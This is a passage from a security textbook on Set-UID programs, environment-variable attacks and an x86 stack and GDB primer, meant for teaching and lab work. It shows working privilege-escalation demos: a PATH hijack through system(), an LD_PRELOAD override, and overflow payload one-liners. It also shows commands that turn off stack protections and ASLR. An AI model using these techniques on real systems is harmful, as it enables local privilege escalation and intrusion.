    execve("/usr/bin/env", argv, newenv);    /* prints AAA=aaa and BBB=bbb  */
    /* execve(argv[0], argv, NULL);             prints nothing              */
    /* execve(argv[0], argv, environ);          prints the parent's variables */
    return 0;
}

The kernel copies the environment strings onto the top of the new process’s stack, just above the argument strings, and passes pointers to them to the program’s startup code:

 high addresses
 +---------------------------+
 | environment strings       |  "PATH=/usr/bin:...", "HOME=/home/seed", ...
 | argument strings          |  "./prog", "arg1", ...
 +---------------------------+
 | envp[] pointers, NULL     |  <- envp, environ (initially)
 | argv[] pointers, NULL     |  <- argv
 | argc                      |
 +---------------------------+
 | main()'s stack frame ...  |
 v  (stack grows down)       v
 low addresses

You will use this layout in later chapters: an environment variable is an easy way to place an attacker-chosen string (say, /bin/sh) at a predictable address in a victim process’s memory.

The attack surface

Here is the key point. When a user runs a Set-UID program, the user’s shell calls execve() with the user’s environment. The privileged program inherits an environment chosen entirely by the unprivileged user. Any code in that program — or in any library it uses, or in any program it runs — that consults an environment variable is taking input from the attacker.

Explicit uses (getenv("HOME") in the program’s own code) are at least visible during code review. The dangerous ones are hidden uses: the dynamic linker reads LD_* variables before main runs; system() starts a shell that reads PATH and others; the C library reads locale variables. The next three sections examine these.

2.10 From Source to Process: Compiling, Linking, and Loading

To understand the dynamic linker attack, we need to know how a program becomes a process. Four tools and a loader are involved:

           cpp            cc1            as               ld               loader
 prog.c ───────► prog.i ───────► prog.s ───────► prog.o ───────► prog ───────► ./prog
 source       preprocessed     assembly      object file     executable      process
             (headers inlined)                (ELF)           (ELF)      (+ shared libraries)

You can stop gcc after each stage to see the intermediate files:

$ gcc -E prog.c -o prog.i     # preprocess only
$ gcc -S prog.i               # compile to assembly: prog.s
$ gcc -c prog.s               # assemble to an object file: prog.o
$ gcc prog.o -o prog          # link (gcc invokes ld with the right libraries)

On Linux, object files and executables use the Executable and Linkable Format (ELF). Inspect them with file, readelf -h -l -S, and objdump -d.

Linking resolves references to code that lives elsewhere. A call to printf in prog.o is a placeholder until the linker connects it to printf’s code in the C library. There are two ways to do that:

  • Static linking copies the library code into the executable at build time. The result is self-contained but large, because it carries its own copy of every library function it uses (and their dependencies):

    $ gcc hello.c -o hello_dyn
    $ gcc -static hello.c -o hello_static
    $ ls -l hello_dyn hello_static
    -rwxrwxr-x 1 seed seed  16696 ... hello_dyn
    -rwxrwxr-x 1 seed seed 871688 ... hello_static
    

    Roughly fifty to a hundred times larger, depending on the platform and libc version. Static linking also means a security fix to libc does not reach the program until it is rebuilt.

  • Dynamic linking defers the work to run time. The executable records which shared libraries it needs (ldd hello_dyn lists them) and the path of the dynamic linker/loader (/lib/ld-linux.so.2 for 32-bit x86, /lib64/ld-linux-x86-64.so.2 for x86-64). When the kernel execves the program, it first maps the dynamic linker, which finds and maps the shared libraries (.so files; DLLs on Windows) and resolves symbols before jumping to the program’s entry point. Chapter 7 looks at the PLT/GOT machinery that makes the calls work.

Dynamic linking saves disk and memory and lets libraries be patched independently. It also means a privileged program’s code is not fully determined until run time — and the dynamic linker decides what to load partly based on environment variables.

2.11 Attacks via the Dynamic Linker

Two environment variables steer the dynamic linker:

  • LD_PRELOAD — a list of shared libraries to load before all others. Symbols they define take precedence over those in later libraries, including libc.
  • LD_LIBRARY_PATH — directories to search for libraries before the default ones.

Both are legitimately useful (debugging, profiling, testing a new library build), and both are fully controlled by whoever sets the environment.

Example 1: a normal program

This program sleeps for one second:

/* myprog.c */
#include <unistd.h>
int main(void) { sleep(1); return 0; }

sleep is resolved at run time from libc. Now write our own sleep:

/* mylib.c */
#include <stdio.h>
void sleep(int s)
{
    printf("I am not sleeping!\n");
}

Build it as a shared library and preload it:

$ gcc -fPIC -g -c mylib.c
$ gcc -shared -o libmylib.so.1.0.1 mylib.o -lc
$ export LD_PRELOAD=./libmylib.so.1.0.1
$ gcc myprog.c -o myprog
$ ./myprog
I am not sleeping!

The dynamic linker found sleep in our library first, so our code ran inside myprog. For a normal program this is harmless — the user could run any code they like as themselves anyway.

Example 2: a Set-UID program

If the same trick worked on a root-owned Set-UID program, any user could inject code into it and run that code as root. Let us check:

$ sudo chown root myprog && sudo chmod 4755 myprog
$ export LD_PRELOAD=./libmylib.so.1.0.1
$ ./myprog
$                        # one-second pause, no message: the real sleep() ran

Our sleep was not used. This is a countermeasure in the dynamic linker: when a program runs in secure-execution mode — which the kernel signals to the loader (via the AT_SECURE auxiliary vector entry) when, among other cases, the process’s EUID differs from its RUID — ld.so ignores LD_LIBRARY_PATH, restricts LD_PRELOAD to libraries in standard system directories that are themselves marked Set-UID, and removes these variables from the environment.

You can watch the variables disappear. Make a Set-UID copy of env and compare:

$ cp /usr/bin/env ./myenv
$ sudo chown root myenv && sudo chmod 4755 myenv
$ export LD_PRELOAD=./libmylib.so.1.0.1
$ export LD_LIBRARY_PATH=.
$ env | grep LD_           # the normal env program sees both
LD_PRELOAD=./libmylib.so.1.0.1
LD_LIBRARY_PATH=.
$ ./myenv | grep LD_       # the Set-UID copy sees neither
$

Note. The countermeasure keys on RUID ≠ EUID. If the owner of a Set-UID program runs it, RUID equals EUID and LD_PRELOAD is honored — which is why, in Lab 1, the result depends on which user runs the program and who owns it. Work through all the combinations in Lab 1 Task 7 and explain each one.

2.12 Attacks via External Programs

A privileged program may not read any environment variable itself, yet still be vulnerable through a program it runs. How it runs that program determines the attack surface:

  • The exec family (execve, execl, …) runs the target directly. The target sees whatever environment the caller passes.
  • system() runs /bin/sh -c cmd. In glibc it ultimately calls execve("/bin/sh", ...) with the caller’s environment, and the shell then runs the command. The shell is a large program whose behavior depends on many environment variables.

The most important of those is PATH. Consider:

/* runls.c  (root-owned Set-UID) */
#include <stdlib.h>
int main(void)
{
    system("ls");         /* no absolute path! */
    return 0;
}

The shell resolves ls by searching PATH, which the attacker controls:

$ ./runls                         # normal behavior
file1  file2  runls
$ cat > ls <<'EOF'
#!/bin/sh
echo "running as: $(id)"
EOF
$ chmod +x ls
$ export PATH=.:$PATH             # put the current directory first
$ ./runls
running as: uid=1000(seed) gid=1000(seed) euid=0(root) ...

Our ls ran instead of /bin/ls — and, if /bin/sh does not drop privilege, it ran with EUID 0. The fixes, in order of preference: do not call system() from privileged code; if you must run a program, use execve() with an absolute path and an explicitly constructed, minimal environment; never rely on a shell to keep you safe.

2.13 Countermeasures: The Set-UID Approach vs. the Service Approach

Step back and compare two architectures for letting ordinary users perform privileged operations:

 (a) Set-UID approach                         (b) Service approach

   user ──execve──► privileged process          user process ──request──► privileged daemon
          env vars, fds, args,                   (only the request         (started by the
          cwd, limits ... all                     message crosses           system with its
          inherited from user                     the boundary)             own environment)

In the Set-UID approach, the user starts the privileged process. Everything the user controls about process creation — environment, open descriptors, working directory, resource limits, signal dispositions — flows into the privileged process. That is a broad and easily overlooked attack surface.

In the service approach, a privileged daemon is started by the system (for example, by init/systemd at boot) with an environment the system chose. Users send it requests over a well-defined channel such as a Unix-domain socket or an IPC mechanism; the daemon checks the requester’s identity and decides. Only the request crosses the trust boundary, so the daemon can trust its own environment variables.

Most operating systems use both. But the trend favors services: Android, for instance, does not support Set-UID and Set-GID programs for its apps at all — the system partition is mounted nosuid, and privileged operations go through system services reached via Binder IPC. Desktop Linux has moved in the same direction with mechanisms such as polkit and systemd services replacing many traditional Set-UID helpers.

Check Your Understanding

1. A file has mode -rw-r-----, owner alice, group staff. User bob is in group staff; user carol is not. Who can read the file? Who can write it?

Answer

alice (owner) can read and write. bob (group) can read but not write. carol (other) can do neither. Root can do both, since it bypasses these checks.

2. With umask 0027, what are the permissions of a newly created regular file and a newly created directory?

Answer

File: 0666 & ~0027 = 0640 (rw-r-----). Directory: 0777 & ~0027 = 0750 (rwxr-x---).

3. An administrator runs sudo chmod 4755 prog and then sudo chown root prog. The program does not run with root privilege. Why?

Answer

Changing ownership clears the Set-UID (and Set-GID) bit, even when root does it. The chown after the chmod removed the bit. The correct order is chown first, then chmod 4755.

4. In cap_leak.c, the program calls setuid(getuid()) before starting the shell. Why can the user still write to /etc/zzz, and what is the minimal fix?

Answer

The file was opened while the process was root, and permission is checked only at open(). The open descriptor (3) survives both setuid() and execve(), so the unprivileged shell inherits a writable handle to /etc/zzz. The minimal fix is to close(fd) before dropping privilege (or open with O_CLOEXEC).

5. Why is execve("/bin/cat", v, NULL) safe where system("/bin/cat " + input) is not, even though both run cat with the user’s input?

Answer

system() hands a single string to a shell, which parses it; shell metacharacters in the input (;, |, $(...), …) are interpreted as code. execve() passes the program path and each argument as separate strings directly to the kernel; the input is never parsed, so it remains data. Code and data are kept in separate channels.

6. A root-owned Set-UID program calls sleep(). A normal user sets LD_PRELOAD to a library defining sleep() and runs the program. Does the user’s sleep() run? What if root runs the same program with the same environment?

Answer

When a normal user runs it, RUID ≠ EUID, so the dynamic linker runs in secure-execution mode and ignores the user’s LD_PRELOAD; the real sleep() runs. When root runs it, RUID = EUID = 0, so LD_PRELOAD is honored and the custom sleep() runs — harmless, since root could run any code anyway.

7. Why can a privileged service trust its environment variables while a Set-UID program cannot?

Answer

A Set-UID program is created by execve() from the user’s process, so its environment is whatever the user supplied. A service is started by the system with an environment the system controls; users only send it request messages. The environment never crosses the trust boundary.

Summary

  • Linux access control is based on numeric user and group IDs, the rwx bits for user/group/other, the umask, and optional ACLs.
  • A process has a real UID (who started it) and an effective UID (whose privilege it has); access checks use the EUID. A Set-UID program runs with its owner’s EUID, making it a deliberate privilege-escalation bridge.
  • Capability leaking happens when a program drops its privileged identity but keeps privileged resources such as open file descriptors. Release them first; drop permanently with setuid(), temporarily with seteuid().
  • system() lets user data become shell code; execve() keeps code and data separate.
  • Environment variables are inherited through fork() and set by execve()’s third argument. In a Set-UID program they are attacker-controlled input, often consumed by hidden code: the dynamic linker (LD_PRELOAD, LD_LIBRARY_PATH) and shells run by system() (PATH).
  • The dynamic linker defends itself by entering secure-execution mode when RUID ≠ EUID. Shells such as dash drop Set-UID privilege. Both are safety nets, not substitutes for correct code.
  • The service approach shrinks the attack surface compared with Set-UID, which is why systems like Android removed Set-UID altogether.

Connection to the Labs

Lab 1: Environment Variables and Set-UID Programs is the hands-on companion to this chapter:

  • Tasks 1–3 explore how environment variables are set and inherited through fork() and execve() (Section 2.9).
  • Tasks 4–6 show how system() and Set-UID programs consume environment variables, including the PATH attack (Sections 2.7 and 2.12).
  • Task 7 is the LD_PRELOAD experiment from Section 2.11; be ready to explain each owner/runner combination.
  • Task 8 is the catall command-injection scenario (Section 2.7).
  • Task 9 is the capability-leaking program from Section 2.5.

In the following chapters, the vulnerable programs you exploit are root-owned Set-UID programs. Everything you learn here about why such programs are dangerous applies directly.

Further Reading

  • Wenliang Du. Computer & Internet Security: A Hands-on Approach, 3rd edition, Chapters 1 and 2 (Set-UID programs and environment variables).
  • Hao Chen, David Wagner, and Drew Dean. “Setuid Demystified.” 11th USENIX Security Symposium, 2002.
  • Linux manual pages: man 7 environ, man 3 system, man 2 execve, man 2 setuid, man 2 seteuid, man 8 ld.so (see “Secure-execution mode”), man 1 setfacl.

Chapter 3: A Machine-Level Primer: x86, the Stack, and GDB

The attacks in the next several chapters do not happen in C. They happen in the machine the C program is compiled to. A C programmer sees a 16-byte array; the CPU sees a range of addresses on the stack that happens to sit a few bytes below a saved return address. A C programmer sees a function call; the CPU sees a call instruction that pushes an address onto memory any buggy store can overwrite. To understand how a buffer overflow hijacks a program — and later, how defenses stop it — you need to see the program the way the CPU does.

This chapter is a focused refresher, not a full course in assembly. It covers just enough of 32-bit x86 to read the disassembly of a vulnerable function, draw its stack frame, and watch it run under a debugger. We point out the 64-bit differences along the way, because they matter for exploitation.

Learning objectives. After this chapter you should be able to:

  • Explain little-endian byte order and predict how a multi-byte value is laid out in memory.
  • Name the x86 general-purpose registers and the roles of esp, ebp, and eip (and their 64-bit counterparts).
  • Read AT&T-syntax assembly and translate it to Intel syntax and back.
  • Explain exactly what push, pop, call, ret, and leave do to the stack.
  • Draw the stack frame of a 32-bit cdecl function, including where arguments, the return address, the saved frame pointer, and locals live.
  • Use GDB with pwndbg to set breakpoints, step, and examine registers and memory.
  • Generate raw binary input for a program with Python 3.
  • Describe the memory layout of a Linux process.

3.1 Why a Machine-Level View?

C gives you an abstract machine where arrays have sizes and functions return to their callers. Neither is enforced at run time. An array is a starting address; nothing stops a store from running past its end. A function’s “return to the caller” is a ret instruction that jumps to whatever address happens to be stored at the top of the stack. Memory-corruption attacks live exactly in the gap between the abstraction and the machine.

We use 32-bit x86 for most examples in this part of the book, following the labs: the stack frames are simpler (arguments live on the stack), addresses are four bytes and usually contain no zero bytes, and the 32-bit environment is still easy to build on a modern 64-bit Linux system with gcc -m32. Where 64-bit x86 (also called x86-64, AMD64, or x64) behaves differently, we say so.

Note. You need an Intel or AMD x86-64 machine (or VM) for this material. An ARM machine, including an Apple Silicon Mac running an ARM Linux VM, cannot natively run the 32-bit x86 binaries used here. On Ubuntu, install the 32-bit toolchain with sudo apt install gcc-multilib; without it, gcc -m32 fails with fatal error: bits/libc-header-start.h: No such file or directory.

3.2 Bytes, Words, and Endianness

Memory is an array of bytes, each with an address. A 32-bit value (a dword, “double word,” in Intel’s terminology; a word is 16 bits) occupies four consecutive bytes. Which byte goes first is the machine’s endianness:

  • Little endian (x86, and ARM in its usual configuration): the least significant byte is stored at the lowest address.
  • Big endian (network byte order; some older RISC machines): the most significant byte is stored at the lowest address.

Storing the dword 0x12345678 at address 0x1000:

 address:        0x1000  0x1001  0x1002  0x1003
 little endian:    78      56      34      12      <- x86
 big endian:       12      34      56      78

This matters constantly in exploitation. When you overwrite a return address with 0x080491a6 by writing bytes into a buffer, you must write them in memory order: a6 91 04 08. In Python:

>>> (0x080491a6).to_bytes(4, byteorder='little')
b'\xa6\x91\x04\x08'

3.3 Registers

Registers are the CPU’s small set of named, fast storage locations. 32-bit x86 has:

  • 8 general-purpose registers (GPRs): eax, ebx, ecx, edx, esi, edi, ebp, esp;
  • the instruction pointer eip;
  • the flags register eflags, holding condition codes set by arithmetic and comparison instructions;
  • 6 segment registers (cs, ds, ss, es, fs, gs), mostly vestigial in modern flat-memory systems, though gs/fs point to thread-local storage — which, as Chapter 6 shows, is where the stack canary lives;
  • control registers (cr0, cr3, …), debug registers, and vector registers for floating-point and SIMD (x87, SSE, AVX), which we will not need.

x86-64 widens the GPRs to 64 bits, renames them with an r prefix (rax, …, rsp), renames the instruction pointer rip, and adds eight more GPRs, r8–r15. Thanks to backward compatibility, the low parts of each register can be named separately:

  63                31            15     7     0
 +-------------------+-------------+------+------+
 |                  rax (64 bits)                 |
 |                   |     eax (32 bits)          |
 |                   |             |   ax (16)    |
 |                   |             |  ah  |  al   |
 +-------------------+-------------+------+------+
64-bit32-bit16-bit8-bitConventional role
raxeaxaxah/alaccumulator; function return value; syscall number
rbxebxbxbh/blbase; callee-saved
rcxecxcxch/clcounter
rdxedxdxdh/dldata
rsiesisisilsource index
rdiedididildestination index
rbpebpbpbplbase (frame) pointer
rspespspsplstack pointer
r8–r15r8d–r15dr8w–r15wr8b–r15b64-bit mode only

(The 8-bit sil, dil, bpl, spl names exist only in 64-bit mode.)

Three registers deserve special attention because attacks target them:

  • esp/rsp always holds the address of the top of the stack.
  • ebp/rbp conventionally holds the base of the current function’s stack frame; locals and arguments are addressed relative to it.
  • eip/rip holds the address of the next instruction to execute. You cannot mov into it directly; it changes only through control-flow instructions — jmp, conditional jumps, call, ret. Controlling eip means controlling the program, and the attacks in Part II are all, at bottom, ways to get an attacker-chosen value into it.

3.4 Reading Assembly: AT&T and Intel Syntax

Two notations exist for the same instructions. GNU tools (gcc -S, objdump, GDB by default) use AT&T syntax; Intel’s manuals, most Windows tools, and pwndbg (by default) use Intel syntax. You must be able to read both.

AT&TIntel
Operand orderop src, dstop dst, src
Registers%eaxeax
Immediates$0x100x10
Sizesuffix on mnemonic: movl, movbfrom operands, or DWORD PTR
Memorydisp(base,index,scale)[base+index*scale+disp]

The same three instructions both ways:

 AT&T                         Intel
 movl  $0x0, -0xc(%ebp)       mov   DWORD PTR [ebp-0xc], 0x0
 lea   -0x1c(%ebp), %eax      lea   eax, [ebp-0x1c]
 add   $0x10, %esp            add   esp, 0x10

The memory form disp(base,index,scale) means address base + index*scale + disp. For example, 0x8(%ebp) is the four bytes at ebp+8, and (%eax,%ecx,4) is eax + ecx*4 — the ecx-th element of an int array starting at eax.

This book writes hand-written assembly in AT&T syntax, to match gcc and the labs. In GDB you can switch with set disassembly-flavor intel or set disassembly-flavor att.

3.5 Essential Instructions

You can read most compiler output with a dozen instructions.

Data movement.

  • mov src, dst — copy. At most one operand may be memory.
  • lea mem, reg — load effective address: compute the address of a memory operand and put the address itself (not the memory contents) in reg. Compilers use it to take addresses (&buf) and for cheap arithmetic.
  • push src — decrement esp by 4, then store src at (%esp).
  • pop dst — load (%esp) into dst, then increment esp by 4.

Arithmetic and logic. add, sub, imul, inc, dec, neg, and, or, xor, shl, shr, sar. Each sets flags in eflags. xor %eax, %eax is the idiomatic way to set a register to zero — a fact that will matter in Chapter 5.

Comparison. cmp b, a computes a - b (AT&T order!) and sets the flags without storing the result; test b, a computes a & b likewise. A conditional jump then reads the flags:

 cmpb  $0xa, (%ebx)     # compare the byte at address ebx with 10
 je    loop             # jump to 'loop' if they were equal

Jumps.

  • jmp target — unconditional. jmp label is a direct jump (target encoded in the instruction); jmp *%eax is an indirect jump (target computed at run time). The distinction is central to Control-Flow Integrity (Chapter 8).
  • jcc target — conditional jumps: je/jz (equal / zero), jne/jnz, jg, jge, jl, jle (signed comparisons), and ja, jae, jb, jbe (unsigned comparisons). Signed-vs-unsigned confusion in comparisons reappears in Chapter 12.

Calls and returns.

  • call target — push the address of the next instruction (the return address), then jump to target. Equivalent to push %eip_next; jmp target. Like jmp, it has direct (call vul) and indirect (call *%eax, call *0x8(%ebp)) forms.
  • ret — pop the top of the stack into eip. Equivalent to pop %eip.
  • leave — tear down a frame: mov %ebp, %esp; pop %ebp.

Note what ret does not do: it does not check that the value it pops was put there by a call. It trusts the stack. Hold on to that thought.

System calls. int $0x80 (32-bit) and syscall (64-bit) enter the kernel. Chapter 5 covers them.

3.6 The Run-Time Stack

The stack is a region of memory used for function calls: return addresses, saved registers, arguments, and local variables. On x86 it starts at a high address and grows toward lower addresses. esp points at the most recently pushed value.

 push %eax                         pop %ebx

 high                              high
 |  ...  |                         |  ...  |
 |   A   |                         |   A   |
 |   B   | <- esp (before)         |   B   |
 | eax   | <- esp (after: esp-4)   |  eax  | <- esp (before);  ebx := eax value
 low                               low        esp (after) = esp+4, back at B

Popping does not erase anything; the old value stays in memory below esp until something overwrites it. That is why uninitialized local variables can contain stale data from earlier calls.

3.7 Calling Conventions and Stack Frames

A calling convention is an agreement between caller and callee about where arguments go, where the return value goes, and which registers each side must preserve. The traditional 32-bit Linux convention, cdecl, says:

  • Arguments are pushed on the stack right to left, so the first argument ends up at the lowest address, nearest the return address.
  • The caller removes the arguments after the call returns.
  • The return value is in eax.
  • ebx, esi, edi, and ebp are callee-saved: a function that uses them must restore them before returning. eax, ecx, edx are caller-saved (scratch).

Prologue and epilogue

A function compiled with frame pointers starts with a prologue and ends with an epilogue:

 vul:
     push  %ebp              # save caller's frame pointer
     mov   %esp, %ebp        # ebp := base of our frame
     sub   $N, %esp          # reserve N bytes for locals
     ...                     # body
     leave                   # mov %ebp,%esp ; pop %ebp
     ret                     # pop return address into eip

After the prologue, the frame has a fixed shape relative to ebp:

                 high addresses
            +-------------------+
            |       arg 2       |  ebp+12
            |       arg 1       |  ebp+8      <- arguments: positive offsets
            |  return address   |  ebp+4      <- pushed by 'call'
  ebp ----> |   saved ebp       |  ebp+0      <- pushed by the prologue
            |   local var A     |  ebp-4      <- locals: negative offsets
            |   local var B     |  ebp-8
            |       ...         |
            | outgoing args     |
  esp ----> |  (for callees)    |  esp+0, esp+4, ...
            +-------------------+
                 low addresses
  • Negative offsets from ebp are local variables.
  • Positive offsets from ebp are the saved frame pointer (+0), the return address (+4), and this function’s arguments (+8, +12, …).
  • Non-negative offsets from esp are the arguments this function is preparing to pass to the functions it calls.

The saved ebp values form a linked list through all active frames, which is how a debugger prints a backtrace. Compilers may omit the frame pointer (-fomit-frame-pointer, the default at -O1 and above on many targets) and address everything relative to esp; the labs compile without optimization, so you will see the classic layout.

A worked example

Here is the vulnerable function used throughout the next chapters:

#define SIZE 16

int vul(char *input)
{
    int flag = 0;
    char buf[SIZE];
    strcpy(buf, input);
    if (flag)
        printf("Flag was changed!\n");
    else
        printf("Flag was not changed. Try it again!\n");
    return 0;
}

Compile it for 32-bit with the protections that would get in the way of learning turned off (Chapter 6 explains each flag):

$ gcc -m32 -g -fno-stack-protector -z execstack -no-pie -fno-pic -o stack vul.c
$ objdump -d --no-show-raw-insn stack | sed -n '/<vul>:/,/ret/p'

On the SEED Ubuntu 20.04 VM (GCC 9.4) the beginning of the output looks like this (exact offsets depend on the compiler version and flags, so always check your own binary):

 <vul>:
   endbr32                          # CET landing pad (Chapter 8); a no-op otherwise
   push   %ebp
   mov    %esp,%ebp
   sub    $0x28,%esp                # reserve space for locals + outgoing args
   movl   $0x0,-0xc(%ebp)           # flag = 0               (flag at ebp-0xc)
   sub    $0x8,%esp                 # keep esp 16-byte aligned for the call
   pushl  0x8(%ebp)                 # push arg 2 of strcpy: input  (our arg 1)
   lea    -0x1c(%ebp),%eax          # eax = &buf             (buf at ebp-0x1c)
   push   %eax                      # push arg 1 of strcpy: &buf
   call   strcpy
   add    $0x10,%esp                # caller pops strcpy's arguments
   cmpl   $0x0,-0xc(%ebp)           # if (flag) ...
   je     ...

From this we can draw the frame at the moment strcpy is called:

                  high addresses
              +--------------------+
   ebp+8      |   input (char *)   |  vul's argument
   ebp+4      |   return address   |  where vul returns in main
   ebp  ----> |    saved ebp       |
   ebp-4      |    (padding)       |
   ebp-8      |    (padding)       |
   ebp-0xc    |       flag         |  4 bytes: ebp-0xc .. ebp-0x9
   ebp-0x10   |                    |
   ebp-0x14   |      buf[16]       |  16 bytes: ebp-0x1c .. ebp-0xd
   ebp-0x18   |                    |
   ebp-0x1c   |                    |  <- &buf
              |       ...          |
              |       input        |  strcpy's 2nd argument (src)
   esp  ----> |       &buf         |  strcpy's 1st argument (dest)
              +--------------------+
                  low addresses

Read the picture the way an attacker would. strcpy writes upward from &buf (ebp-0x1c) toward higher addresses until it copies a zero byte. The 16 bytes of buf are followed immediately by flag, then padding and the saved ebp, then the return address. The distance from the start of buf to the return address is 0x1c + 4 = 32 bytes. An input longer than 16 bytes changes flag; an input of 32 bytes followed by four more bytes replaces the return address. Chapter 4 does exactly that.

Note. Do not assume locals appear in the order they were declared, or that buf is exactly SIZE bytes from anything. Compilers reorder locals, add alignment padding, and (with stack protection on) deliberately place arrays above scalars. Always read the disassembly or measure in a debugger.

64-bit differences

The System V AMD64 ABI, used by Linux on x86-64, changes the picture in ways that matter for later chapters:

  • The first six integer/pointer arguments are passed in registers: rdi, rsi, rdx, rcx, r8, r9. Only further arguments go on the stack. (For system calls, the fourth argument uses r10 instead of rcx.) So to call system("/bin/sh") in a 64-bit exploit, you must get the string’s address into rdi — you cannot just place it on the stack (Chapter 7).
  • Return values are in rax. Callee-saved registers are rbx, rbp, r12–r15.
  • Stack slots and addresses are 8 bytes. User-space addresses fit in 47 bits, so they look like 0x00007ffff7a52000 — the top two bytes are zero. A strcpy-based overflow stops at the first zero byte, which makes writing a full 64-bit address harder.
  • The stack must be 16-byte aligned at each call; some libc functions crash (typically on a movaps instruction) if it is not.
  • Leaf functions may use the 128-byte red zone below rsp without moving rsp.

3.8 GDB and pwndbg

The debugger is the most important tool in this part of the course. GDB, the GNU Debugger, lets you stop a program, step one instruction at a time, and inspect every register and byte of memory. Plain GDB is spartan; pwndbg is a GDB plug-in for exploit development and reverse engineering that shows registers, disassembly, the stack, and a backtrace every time the program stops.

Install it:

$ git clone https://github.com/pwndbg/pwndbg ~/.pwndbg
$ cd ~/.pwndbg && ./setup.sh

Running a program under GDB

Two equivalent ways to pass command-line arguments:

$ gdb --args ./stack aaaaaaaa
pwndbg> run
$ gdb ./stack
pwndbg> run aaaaaaaa

To feed standard input from a file, use run < input.bin. To pass binary arguments, use shell command substitution inside GDB: run $(python3 -c '...').

Essential commands

CommandMeaning
break vul / b *0x080491c2breakpoint at a function / at an address
run [args] / rstart the program
continue / cresume until the next breakpoint
next / n, step / snext source line, stepping over / into calls
nexti / ni, stepi / sinext instruction, over / into calls
finishrun until the current function returns
disassemble vuldisassemble a function
info registers / i rshow registers
info frameshow the current frame, including saved eip and ebp locations
btbacktrace (walks the saved-ebp chain)
p &buf, p $ebp+4print an expression
x/16wx $espexamine memory: 16 words in hex starting at esp
x/s 0x0804a008examine memory as a C string
x/5i $eipexamine memory as 5 instructions

The x (examine) command takes a count, a format (x hex, d decimal, s string, i instruction), and a unit size (b byte, h halfword, w 4-byte word, g 8-byte giant). Note that GDB’s “word” is 4 bytes, unlike Intel’s.

pwndbg adds commands such as context (redraw the full display), stack 20 or telescope $esp 20 (show stack slots and follow pointers), vmmap (show the memory map), checksec (show which protections a binary has; Chapter 6), and cyclic (generate patterns to find offsets; Chapter 4).

A session

$ gdb --args ./stack AAAAAAAAAAAAAAAA
pwndbg> break vul
Breakpoint 1 at 0x80491b6: file vul.c, line 5.
pwndbg> run
...
pwndbg> p &buf
$1 = (char (*)[16]) 0xffffcf9c
pwndbg> p $ebp
$2 = (void *) 0xffffcfb8
pwndbg> p/d (char*)$ebp + 4 - (char*)&buf
$3 = 32
pwndbg> info frame
Stack level 0, frame at 0xffffcfc0:
 eip = 0x80491b6 in vul (vul.c:5); saved eip = 0x8049232
 ...
 Saved registers:
  ebx at 0xffffcfb4, ebp at 0xffffcfb8, eip at 0xffffcfbc
pwndbg> next              # execute strcpy
pwndbg> x/12wx &buf
0xffffcf9c:  0x41414141  0x41414141  0x41414141  0x41414141
0xffffcfac:  0x00000000  ...         ...         ...

The arithmetic $ebp + 4 - &buf is the most useful single expression in this part of the course: it is the number of bytes from the start of the buffer to the saved return address. Here it confirms the 32 we derived from the disassembly. The 0x41414141 words are our As (ASCII 0x41); the 0x00000000 right after is flag, whose low byte was just overwritten by the string’s terminating zero — harmless here, because flag was already zero.

Note. Addresses inside GDB can differ by a few bytes from addresses when the same program runs outside GDB, because GDB sets environment variables such as LINES and COLUMNS and runs the program by its absolute path; both change how much data sits at the top of the stack (Section 2.9). Exploits that hard-code stack addresses must account for this — one reason for the NOP sled in Chapter 5.

3.9 Generating Input with Python

Exploit inputs contain arbitrary bytes, including non-printable ones. You cannot type \xa6\x91\x04\x08 at the keyboard, so you generate input with a short program. Python 3 is the usual choice:

# 32 'A's as a command-line argument
$ ./stack $(python3 -c "print('A'*32)")

# raw bytes: 32 'A's followed by a little-endian address
$ ./stack $(python3 -c "import sys; sys.stdout.buffer.write(b'A'*32 + b'\xa6\x91\x04\x08')")

# the same input on standard input, for programs that use gets()/read()
$ python3 -c "import sys; sys.stdout.buffer.write(b'A'*32 + b'\xa6\x91\x04\x08')" | ./prog

Two traps:

  • Do not use print() for raw bytes. In Python 3, print('\xa6') writes the character U+00A6, which is UTF-8 encoded as the two bytes c2 a6. Use sys.stdout.buffer.write() with a bytes object (b'...') instead.
  • Command-line arguments cannot contain zero bytes (C strings end at the first \x00), and unquoted $(...) output is split at whitespace bytes (\x09, \x0a, \x20). Quote the substitution, "$(python3 ...)", when your payload might contain spaces or tabs.

For anything longer than a line, write a script that builds the payload in a bytearray and writes it to a file; the labs give you skeletons in this style. The pwntools library (pip3 install pwntools) provides helpers such as p32(0x080491a6) for packing addresses and cyclic(100) for offset-finding patterns.

3.10 The Layout of a Process in Memory

Finally, where does everything live? A running 32-bit Linux process has an address space like this:

 0xffffffff  +---------------------------+
             |  kernel space             |  (not accessible from user mode)
             +---------------------------+  ~0xffffe000 for 32-bit processes on a 64-bit kernel
             |  stack                    |  argv, envp, frames; grows down
             |            |              |
             |            v              |
             |                           |
             |  shared libraries         |  libc, ld.so  (e.g. 0xf7xxxxxx)
             |                           |
             |            ^              |
             |            |              |
             |  heap                     |  malloc(); grows up
             +---------------------------+
             |  .bss                     |  uninitialized globals (zeroed)
             |  .data                    |  initialized globals
             |  .rodata                  |  string literals, constants
             |  .text                    |  program code  (0x08048000 for 32-bit non-PIE)
 0x00000000  +---------------------------+

You can see the real map of any process in /proc/<pid>/maps, or with vmmap in pwndbg:

$ cat /proc/self/maps        # the map of the 'cat' process itself

Each line shows an address range, its permissions (r, w, x, and p for private), and what is mapped there. Notice that, on a modern system, the stack and heap are mapped rw-p — readable and writable, but not executable. Chapter 6 explains why; the labs turn this protection off with -z execstack so that you can first see the attack it prevents.

Also notice that if you run cat /proc/self/maps twice, the stack, heap, and library addresses change. That is Address Space Layout Randomization (ASLR), also covered in Chapter 6. For the early exercises we disable it so that addresses are predictable:

$ sudo sysctl -w kernel.randomize_va_space=0     # 2 restores the default

With that, you have everything you need: you can read the function, draw its frame, predict what an overlong input will overwrite, and verify the prediction in a debugger. The next chapter puts it to use.

Check Your Understanding

1. On x86, the 4-byte value 0xdeadbeef is stored at address 0x2000. What byte is at address 0x2000? At 0x2003?

Answer

x86 is little endian, so the least significant byte comes first: 0x2000 holds 0xef, and 0x2003 holds 0xde. The bytes in memory are ef be ad de.

2. Translate mov 0x8(%ebp), %eax into Intel syntax and explain what it does.

Answer

mov eax, DWORD PTR [ebp+0x8]. It loads the 4-byte value at address ebp+8 into eax. In a cdecl frame, ebp+8 is the function’s first argument.

3. What is the difference between lea -0x1c(%ebp), %eax and mov -0x1c(%ebp), %eax?

Answer

lea puts the address ebp-0x1c into eax (for example, &buf). mov loads the 4 bytes stored at that address into eax (for example, the first four characters of buf).

4. Describe precisely what call 0x8049186 and ret do to esp, eip, and memory.

Answer
